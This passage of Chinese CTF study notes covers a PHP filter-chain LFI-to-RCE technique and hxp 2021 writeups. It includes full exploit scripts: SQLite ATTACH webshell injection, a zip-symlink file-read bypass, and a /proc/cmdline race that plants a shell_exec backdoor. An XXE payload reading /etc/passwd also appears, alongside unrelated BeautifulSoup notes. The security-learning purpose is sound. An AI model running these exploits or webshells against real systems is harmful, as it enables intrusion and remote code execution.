'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";

// echo $final_payload;
var_dump(file_get_contents($final_payload));

这里有几点需要注意的是

1.convert.iconv.UTF8.UTF7 将等号转换为字母。之所以使用这个的原因是 exp 作者遇到过有时候等号会让 convert.base64-decode 过滤器解析失败的情况,可以使用 iconv 从 UTF8 转换到 UTF7 ,会把字符串中的任何等号变成一些 base64 。但是实际测试貌似我遇到的情况并没有抛出 Error ,最差情况抛出了 warning 但不是特别影响,但是为了避免奇怪的错误,还是加上为好。
2.data://,后的数据是为了方便展示,需要补足一定的位数,(这里要包含任何文件都可以,但是需要包含一个文件,让字符集有施展的空间)

fuzz

字符集的寻找是很关键的,上面是凑巧两个字符集换一下就可以得到结果,而如果要寻找其他字符集,没有一定的技巧也是很难找到的。

假设我们需要寻找的字符为x

  • x必须在最终生成的字符串的前段(便于排序位置)
  • 字符串的前端的字符当中,最好的情况是只存在唯一一个x对PHP base64来说合法的字符。
  • 如果没办法找到单个字符,可以用多个字符来合并生成,例子如下:

首先,使用iconv -l可以获得所有的字符集

img

以生成8的字符集为例,通过不断的拼接新的字符集就可以产生了

$url = "php://filter/convert.iconv.UTF8.UTF7|";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url = $url."/resource=data://,aaaaaaaaaaaaaaaa";
var_dump(file_get_contents($url));


$url = "php://filter/convert.iconv.UTF8.UTF7|";
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16";
$url = $url."/resource=data://,aaaaaaaaaaaaaaaa";
var_dump(file_get_contents($url));


$url = "php://filter/convert.iconv.UTF8.UTF7|";
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
$url = $url."/resource=data://,aaaaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

img

已经有师傅将基本上所有的字符都fuzz出来了

wupcohttps://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

garbage string

如果找不到可用文件,我们可以利用convert.iconv.UTF8.CSISO2022KR字符集,因为他总是会在字符串前面生成\x1b$)C ,所以我们可以利用这个来产生足够的垃圾数据供我们构造 Payload ,以下用一个空文件生成一个 8 来测试

$url = "php://filter/";

$url .= "convert.iconv.UTF8.CSISO2022KR|";
$url .= "convert.base64-encode|";
$url .= "convert.iconv.UTF8.UTF7|";

// 8
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
$url = $url."|convert.base64-decode|convert.base64-encode";

$url = $url."/resource=./e";
var_dump(file_get_contents($url));

2021hxp

shitty

看源码,是一个sqlite,但是看了一下docker文件,最终是要让我们执行/readflag的,所以我们肯定要命令执行,看看能不能写shell进去

之前学过sqlite写shell的,所以直接拿出来看看,可以使用attach写shell,而且也没看到什么过滤之类的,但是要在哪个语句写倒是个问题

我们可控的命令执行语句只有这两条

function insert_entry($db, $content, $user_id) {
$sth = $db->prepare('INSERT INTO entry (content, user_id) VALUES (?, ?)');
$sth->execute([$content, $user_id]);
}

function delete_entry($db, $entry_id, $user_id) {
$db->exec("DELETE from entry WHERE {$user_id} <> 0 AND id = {$entry_id}");

第一个execute

execute(sql[, parameters])
执行一条 SQL 语句。 可以使用 占位符 将值绑定到语句中

exec

可以执行多条SQL指令

但其实看了一下,也确实是下面这个delete_entry能构造闭合然后去命令执行多条语句。

在这个语句当中,有三个变量,跟了一下,发现只有user_id是可控的,而user_id是前面的seesion的值,也就是说,我们需要伪造session

img

那么现在思路其实就很明确了:

伪造session->sqlite使用attach写马

首先看看他的session是如何生成的。主要是以下这部分内容,

else {
$session = explode('|', $_COOKIE['session']);
if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
exit();
}
$id = $session[0];
$mac = $session[1];
}

以前看到伪造session都觉得很麻烦,不想做,现在是时候去面对它了

这题伪造session的漏洞在于crypt,首先我们知道,hash_quals是对比两个参数的哈希值是否相同,然后crypt有一个这样的特性,由于它是启用二进制的形式输出,则会导致存在以0字节开头的id经过md5加密以后的值和mac值相等,那么我们只要找到这个mac值,然后再去重新跑id,让他和我们的恶意语句拼接以后的值经过crypt后为0字节就可以绕过了。那么如何获取这个mac值呢?就是去循环跑,因为要得到两个一样的mac值基本上是不可能的,除非这两个id都为0字节id。

接下来写一下脚本:

这里发现了一个以前没发现的细节。。。

在python中
s=request.session
s.get()
用了第一句以后,接下来在用s来发送请求,此时已经表示在同一个会话下了,如果想要得到不同的cookie,需要直接用requests.get()来发送请求

最后使用多线程去跑,可以提高成功率

import requests
from urllib.parse import unquote
from urllib.parse import quote
import threading
import random
url="http://110.42.133.120:8080/"
def get_mac():
mac_list=[]
rtmac=""
while True:
try:
re=requests.get(url)
session=unquote(re.headers['Set-Cookie'])
session=session.split("=")[1].split("|")
orgin_id=session[0]
mac=session[1]
if mac in mac_list:
return mac
else:
mac_list.append(mac)
print("orgin_id",orgin_id)
print("mac", mac)
except:
pass
def writ_shell(mac,id):
payload="1;ATTACH DATABASE '/var/www/html/data/tlif3.php' AS shell ;create TABLE shell . exp ( webshell text);insert INTO shell . exp (webshell) VALUES (x'3c3f706870206576616c28245f4745545b22726464225d293b3f3e');--"
session = quote("{payload}{id}|".format(payload=payload,id=i)+mac)
cookie = {
"session":session,
}
res = requests.get(url,cookies=cookie)
if "Blog" in res.text or int(len(res.text)>0):
print(cookie)
print(res.content)
data={
"content":"hello"
}
pushcontent=requests.post(url,data=data,cookie=cookie)
print(pushcontent.content)
print("\n::delete::\n")
data={
"delete":"1"
}
delete=requests.post(url,data=data,cookie=cookie)
print(delete.content)
exit(-1)

if __name__=="__main__":
mac=get_mac()
#mac="a"
for num in range(1000):
print("num: ", num)
thread_list = []
for i in range(0, 20):
id = random.randint(1, 9223372036854775807)
m = threading.Thread(target=writ_shell, args=(mac,id))
thread_list.append(m)
for m in thread_list:
m.start()
for m in thread_list:
m.join()

unzipper

<?php
session_start() or die('session_start');

$_SESSION['sandbox'] ??= bin2hex(random_bytes(16));
$sandbox = 'data/' . $_SESSION['sandbox'];
$lock = fopen($sandbox . '.lock', 'w') or die('fopen');
flock($lock, LOCK_EX | LOCK_NB) or die('flock');

@mkdir($sandbox, 0700);
chdir($sandbox) or die('chdir');

if (isset($_FILES['file']))
system('ulimit -v 8192 && /usr/bin/timeout -s KILL 2 /usr/bin/unzip -nqqd . ' . escapeshellarg($_FILES['file']['tmp_name']));
else if (isset($_GET['file']))
if (0 === preg_match('/(^$|flag)/i', realpath($_GET['file']) ?: ''))
readfile($_GET['file']);

fclose($lock);

看到压缩文件马上就想到软链接了,正好之前有一个比赛没去做到,这次正好复现熟悉一下。

审计一下代码,发现在读文件的时候会经过一些过滤操作,有个realpath的函数

expr1?:expr3 expr1在求值时如果为true返回expr1否则返回expr3

接下来理解

理解一下什么是软链接

软链接: 保存了其代表的文件的绝对路径,是另外一种文件,在硬盘上有独立的区块,访问时替换自身路径。

通俗来说就是将一个文件A的绝对路径放在另一个文件B里面,访问这个B文件的路径实际上是访问A文件。
img

接下来我们尝试上传一下,可以看到,使用readfile同样可以读取其中的软链接

img

但是在这题,没有那么容易,因为他新增加了一个realpath,可以看到使用了realpath以后,显示的就是他的软链接了,此时要是用readfile+软链接读取flag就不太可能了

img

这里还需要补充一点,软链接需要和zip组合才能发挥作用,这样解压以后的软链接此时链接到才是该台服务器上的文件。如果只是单纯软链接存在是不行的。比如说我在A电脑上创建了一个软链接,将这个软链接文件放到B上,访问这个软链接文件的时候,数据仍然是A电脑上的。

那么这个题目的重点就是绕过这个正则匹配

这里就是一个小trick,readfile是可以读取php的伪协议的,那么也就是说,我们上传一个zip,里面包含两个文件,一个是伪协议,伪协议读取的是另一个文件,而另一个文件的内容就是flag的地址

上面这个方法不行,所以再想想,首先readfile可以读取协议,那么我们就可以用伪协议,这点是确定的,那么要如何使用伪协议来绕过呢?

我们知道,通过realpath,软链接就会被直接转化为真实链接,就无法绕过正则,但如过我们将一个读取文件的协议作为各个目录串联起来,这样在realpath这里,会被解析为一个目录,而在readfile又会被解析为协议
第一级目录是file:
第二级目录是/var这样一直往下
然后完整目录连接起来就是:
file:/var/www/html/data/xxxxx/软链接
当我们访问
file:///var/www/html/data/xxxxx/的时候
经过realpath处理以后会变成
file:/var/www/html/data/xxxxx/软链接
此时则是指向一个空目录
而在readfile中又是
file:///var/www/html/data/xxxxx/软链接
此时就可以读取到flag了

但是这样的话在构造压缩包的时候其实挺麻烦的

另外一个考点就是通过session得到文件保存路径了,开了session,可以直接

session_start() or die('session_start');

$_SESSION['sandbox'] ??= bin2hex(random_bytes(16));
$sandbox = 'data/' . $_SESSION['sandbox'];

因为有docker,直接find一下session的保存路径就可以了

img

所以我们的解题步骤也很明了了

这里还有一个比较奇怪的事,当我在本地测试的时候,怎么弄都是false

img

后面又去瞅了一下源码才发现,原来它是在所创建的新的目录下进行操作的,所以可以使用相对路径!!!!所以此时realpath在检查file://xxx的时候返回的就是true,如果没有这个,返回的就是false了

$lock = fopen($sandbox . '.lock', 'w') or die('fopen');
fclose

讲一下这个脚本的核心的思路,就是创建一个文件目录,还有一个软链接,将两个合并压缩即可

import requests
import re
import os
s=requests.session()
url="http://110.42.133.120:1234"

sess_r=s.get(url)
sess=sess_r.headers['Set-Cookie']
sess_f=re.findall(r'=(.*?);',sess)
print(sess_f)
file_path=f'/var/lib/php/sessions/sess_{sess_f[0]}'
sandbox=s.get(url+f'/?file={file_path}')
print(sandbox.text)
flag_path=re.findall(r'"(.*?)"',sandbox.text)
print(flag_path)
#创建zip文件
soft_fi="leak"
zip_path=f'file:///var/www/html/data/{flag_path[0]}/{soft_fi}'
os.system("rm -rf leak go.zip file:")
os.system(f"ln -s /flag.txt leak")
os.system(f"mkdir -p {zip_path}")
os.system(f"zip --symlinks -r go.zip file: {soft_fi}")
file={
"file":open('./go.zip','rb')
}
r=s.post(url,files=file)
flag=s.get(url+f'/?file={zip_path}')
print(flag.text)
img

小结

这道题其实核心思路不难,但是有很多细节要注意,而且可能也是自己理解不够透彻,审计能力还不够强,导致很多细节没注意到,卡了很久。这里重新理一下。

1.审计源码,发现代码是可以直接查询上传内容的,也就是可以使用相对路径,因为开了fopen

2.发现路径是存储在session当中,可以通过docker找到session存放路径

3.使用了unzip解压指令,意味着我们可以使用软链接读取文件,但是由于正则匹配的存在,主要是realpath,导致我们无法直接使用软链接,需要绕过。

3.因为readpath可以读取url,也即可以使用伪协议来读取文件,所以我们可以创建一个由协议组成的文件目录级,当realpath读取这个伪协议的时候,会将其视为一个文件目录,从而绕过验证,指的一提的是,因为此时可以使用相对路径读取才有这个操作的可能。而我们在另外创建一个软链接,而针对file://协议而言,读取的是绝对路径,所以我们就可以读取到这个软链接。

解法二

这个解法二是队里大师傅想的,简直就是天才,重点在于他那个/etc/passwd,看一下我的,还去找session,就很麻烦,他直接覆盖一下,直接读/etc/passwd就可以读到flag了。

import requests
import zipfile
import os
url = "http://65.108.176.76:8200/"
file_name = "file:///flag.txt"
file_ln = "/etc/passwd"
os.system("rm -f "+file_name)
os.system("cp /etc/passwd- /etc/passwd")
os.system("rm -f hi.zip")
os.symlink(file_ln, file_name)
os.system("zip -ry file.zip file\:/")
req = requests.session()
file = {"file":open("file.zip",'rb')}
res = req.post(url,files=file)
print("upload success")
print(res.text)

res = req.get(url+"?file="+file_name)
print(url+"?file="+file_name)
print("get file success")
print(res.text)

counter

<?php
$rmf = function($file){
system('rm -f -- '.escapeshellarg($file));
};

$page = $_GET['page'] ?? 'default';
chdir('./data');

if(isset($_GET['reset']) && preg_match('/^[a-zA-Z0-9]+$/', $page) === 1) {
$rmf($page);
}

file_put_contents($page, file_get_contents($page) + 1);
include_once($page);

看起来简单,但是不会做的题目,看完wp大概是理解了

因为系统命令会创建proc/$PID/cmdline,因此我们可以通过包含这个进程来进行命令执行,但是我们只能输入字母和数字,那么怎么命令执行可以执行只由数字字母组成的呢?那就是base64编码以后的内容,因此我们可以使用phpfilter的base64解码包含文件名就可以进行命令执行了。

但是复现没成功,感觉以我现在的实力是做不出来了。。。
贴一下脚本,以后研究吧

#!/usr/bin/env python3
import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
from urllib.parse import urlparse,quote_from_bytes
def urlencode(data, safe=''):
return quote_from_bytes(data, safe)

url = f'http://{sys.argv[1]}:{sys.argv[2]}/'

backdoor_name = secrets.token_hex(8) + '.php'
secret = secrets.token_hex(16)
secret_hash = hashlib.sha1(secret.encode()).hexdigest()

print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
print('[+] secret: ' + secret, file=sys.stderr)

code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
payload_encoded = b'abcdfg' + base64.b64encode(payload)
print(payload_encoded)
assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)

# check if the payload would work on our local php setup
with tempfile.NamedTemporaryFile() as tmp:
tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")
tmp.flush()
o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])
print(o, file=sys.stderr)
assert payload in o

os.chdir('/tmp')
subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])
with open(backdoor_name) as f:
d = f.read()
assert d == 'test'


pid = -1
N = 10

done = False

def worker(i):
time.sleep(1)
while not done:
print(f'[+] starting include worker: {pid + i}', file=sys.stderr)
s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""
os.system(s)

def delete_worker():
time.sleep(1)
while not done:
print('[+] starting delete worker', file=sys.stderr)
s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""
os.system(s)

for i in range(N):
threading.Thread(target=worker, args=(i, ), daemon=True).start()
threading.Thread(target=delete_worker, daemon=True).start()


while not done:
try:
r = requests.get(url, params={
'page': '/proc/sys/kernel/ns_last_pid'
}, timeout=10)
print(f'[+] pid: {pid}', file=sys.stderr)
if int(r.text) > (pid+N):
pid = int(r.text) + 200
print(f'[+] pid overflow: {pid}', file=sys.stderr)
os.system('pkill -9 -x bombardier')

r = requests.get(f'{url}data/{backdoor_name}', params={
's' : secret,
'c': f'id; ls -l /; /readflag; rm {backdoor_name}'
}, timeout=10)

if r.status_code == 200:
print(r.text)
done = True
os.system('pkill -9 -x bombardier')
exit()


time.sleep(0.5)
except Exception as e:
print(e, file=sys.stderr)

python爬虫数据分析

beautifulsoup

from bs4 import BeautifulSoup
file=open("./xxx.html","rb")
htm=file.read().decode('utf-8')
bs=BeautifulSoup(html,"html.parser")

标签及其内容;拿到它所找到的第一个内容

print(bs.title)

只要内容不要标签

print(bs.title.string)
bs.a.attrs 获取a标签的所有的属性,返回一个字典
bs.a 获取a标签的所有的属性,返回一个字典
print(bs.a.sting)#comment 是一个特殊的navigablestring,输出的内容

3.Beautifulsoup 表示整个文档

print(bs.attrs)

遍历

正则

bs.find_all(re.conpile("a"))

find_all()

t_list=bs.find_all("a")
import re
t_list=bs.find_all(re.compile("a"))

def name_is_exists(tag):
return tag.has_attr("name")
t_list=bs.find_all(name_is_exists)

CSS选择器

print(bs.select('title')) 通过标签查找
print(bs.select(".mnav")) 通过类名来查找
print(bs.select(#u1)) 通过id来查找
print(bs.select(a[class='bri'])) 通过属性来查找
print(bs.select("head > title") 通过子标签
print(bs.select(".mnav ~ .bri")

2021美团高校挑战赛

一开始是一个xml外部实体注入,可以读一下文件

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE any [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>111</password></user>

读到了php-fpm.conf的配置文件

file://%2fetc%2fphp%2f7%2e0%2ffpm%2fphp-fpm%2econf

错误日志地址

/var/log/php7.0-fpm.log
/run/php/php7.0-fpm.pid
mysql:x:105:106:MySQL Server,,,:/nonexistent:/bin/false

读到内网地址

127.0.0.1	localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.4.104.98 engine-1

读proc/net/arp

10.4.255.253 

读到源码

<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>

<!doctype html>

<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>登录</title>

<!-- Bootstrap core CSS -->
<link href="./static/css/bootstrap.min.css" rel="stylesheet">


<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}

@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="./static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
<form class="form-signin" action="login.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">Sign In</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" id="username" name="username" class="form-control" placeholder="Username" required autofocus>
<br><label for="password" class="sr-only">Password</label>
<input type="password" id="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit" onclick="javascript:doLogin()" >Sign In</button>
<p class="mt-5 text-muted">Don't have an account yet? <a href="register.php">Sign Up</a></p>
<p class="text-muted">&copy; 2018-2021</p>
</form>
<div class="top" id="toast-container"></div>
</body>

<script src="./static/js/jquery.min.js"></script>
<script src="./static/js/bootstrap.bundle.min.js"></script>
<script src="./static/js/toast.js"></script>
<script type='text/javascript'>
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "login.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>
</html>


<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
include "class.php";

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

$user = new User();

if (strlen($username) < 20 && $user->verify_user($username, $password)) {

$_SESSION['login'] = true;
$_SESSION['address'] = $_SERVER['REMOTE_ADDR'];
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
header('Content-Type: text/html; charset=utf-8');
echo $result;
die("<script>window.location.href='index.php';</script>");
} else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
header('Content-Type: text/html; charset=utf-8');
die($result);
}

}catch(Exception $e) {
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
header('Content-Type: text/html; charset=utf-8');
echo $result;
}

?>

接下来测试是否出网,发现是可以连接的,

<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>

<!doctype html>

<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>注册</title>

<!-- Bootstrap core CSS -->
<link href="./static/css/bootstrap.min.css" rel="stylesheet">


<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}

@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="./static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
<form class="form-signin" action="register.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">Sign Up</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" id="username" name="username" class="form-control" placeholder="Username" required autofocus>
<br><label for="password" class="sr-only">Password</label>
<input type="password" id="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit" onclick="javascript:doRegister()" >Sign Up</button>
<p class="mt-5 mb-3 text-muted">&copy; 2018-2021</p>
</form>
</body>
<div class="top" id="toast-container"></div>

<script src="./static/js/jquery.min1.js"></script>
<script src="./static/js/bootstrap.bundle.min.js"></script>
<script src="./static/js/toast.js"></script>

<script type='text/javascript'>
function doRegister(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "register.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>
</html>

还有一个index.php

<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>

<!doctype html>

<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>注册</title>

<!-- Bootstrap core CSS -->
<link href="./static/css/bootstrap.min.css" rel="stylesheet">


<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}

@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="./static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
<form class="form-signin" action="register.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">Sign Up</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" id="username" name="username" class="form-control" placeholder="Username" required autofocus>
<br><label for="password" class="sr-only">Password</label>
<input type="password" id="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit" onclick="javascript:doRegister()" >Sign Up</button>
<p class="mt-5 mb-3 text-muted">&copy; 2018-2021</p>
</form>
</body>
<div class="top" id="toast-container"></div>

<script src="./static/js/jquery.min1.js"></script>
<script src="./static/js/bootstrap.bundle.min.js"></script>
<script src="./static/js/toast.js"></script>

<script type='text/javascript'>
function doRegister(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "register.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>
</html>


<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
include "class.php";

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

if(!empty($xmlfile)) {
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

$user = new User();

if ($user->add_user($username, $password)) {
echo "<script>alert('Registered successfully');window.location.href='login.php';</script>";
} else{
echo "<script>alert('Registration failed');window.location.href='register.php';</script>";
}

}catch(Exception $e) {
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",4,$e->getMessage());
header('Content-Type: text/html; charset=utf-8');
echo $result;
}
}

?>
<?php

session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

?>

<!DOCTYPE html>
<html>
<head>
<title>File Uploader</title>
<link href="./static/css/bootstrap.css" rel='stylesheet' type='text/css' />
<!-- Custom Theme files -->
<link href="./static/css/style.css" rel="stylesheet" type="text/css" media="all" />
<!-- Custom Theme files -->
<script src="./static/js/jquery.min.js"></script>
<!-- Custom Theme files -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="File Uploader Widget Responsive web template, Bootstrap Web Templates, Flat Web Templates, Andriod Compatible web template,
Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, Sony Ericsson, Motorola web design" />
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>

</head>
<body>

<h1>FILE UPLOADER</h1>

<div class="upload">

<div class="login-form">

<form id="upload" method="post" action="upload.php" enctype="multipart/form-data">

<div id="drop">
<a>Upload File</a>
<input type="file" name="file" multiple />
</div>

<ul>
<!-- The file uploads will be shown here -->
</ul>

</form>

</div>

<!-- JavaScript Includes -->
<script src="./static/js/jquery.knob.js"></script>
<!-- JavaScript Includes -->

<!-- jQuery File Upload Dependencies -->
<script src="./static/js/jquery.ui.widget.js"></script>
<script src="./static/js/jquery.iframe-transport.js"></script>
<script src="./static/js/jquery.fileupload.js"></script>
<!-- jQuery File Upload Dependencies -->

<!-- Main JavaScript file -->
<script src="./static/js/script.js"></script>
<!-- Main JavaScript file -->

<div class="button">

<div class="cancel"><a href="#">Cancel</a></div>
<div class="done"><a href="#">Done</a></div>

<div class="clear"> </div>

</div>

</div>

<div class="footer">
<p>Copyright &copy; 2021 File Uploader. All Rights Reserved | Design by <a href="#">File Uploader</a></p>
</div>

</body>
</html>

然后又读到了一个class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "";
$dbname = "ctf";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);


abstract class Users {

public $db;

abstract public function verify_user($username, $password);
abstract public function check_user_exist($username);
abstract public function add_user($username, $password);
abstract protected function eval();

public function test() {
$this->eval();
}
}


class User extends Users {

public $db;
private $func;
protected $param;

public function __construct() {
global $db;
$this->db = $db;
}

public function verify_user($username, $password) {
if (!$this->check_user_exist($username)) {
return false;
}
$password = md5($password . "7a28b8eb92558ea2");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function check_user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->check_user_exist($username)) {
return false;
}
$password = md5($password . "7a28b8eb92558ea2");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

protected function eval() {
if (is_array($this->param)) {
($this->func)($this->param);
} else {
die("no!");
}
}
}


class Welcome{

public $file;
public $username;
public $password;
public $verify;
public $greeting;
public function __toString(){
return $this->verify->verify_user($this->username,$this->password);
}

public function __wakeup(){
$this->greeting = "Welcome ".$this->username.":)";
}
}


class File {
public $filename;
public $fileext;
public $basename;

public function check_file_exist($filename) {
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function get_real_ext($minitype) {

switch ($minitype) {
case 'image/gif':
$this->fileext = ".gif";
return $this->fileext;
case 'image/jpeg':
$this->fileext = ".jpg";
return $this->fileext;
case 'image/png':
$this->fileext = ".png";
return $this->fileext;
default:
$this->fileext = ".gif";
return $this->fileext;
}
}


public function get_file_name($filename) {
$pos = strrpos($filename, ".");
if ($pos !== false) {
$this->basename = substr($filename, 0, $pos);
return $this->basename;
}
}

public function __call($func, $params) {
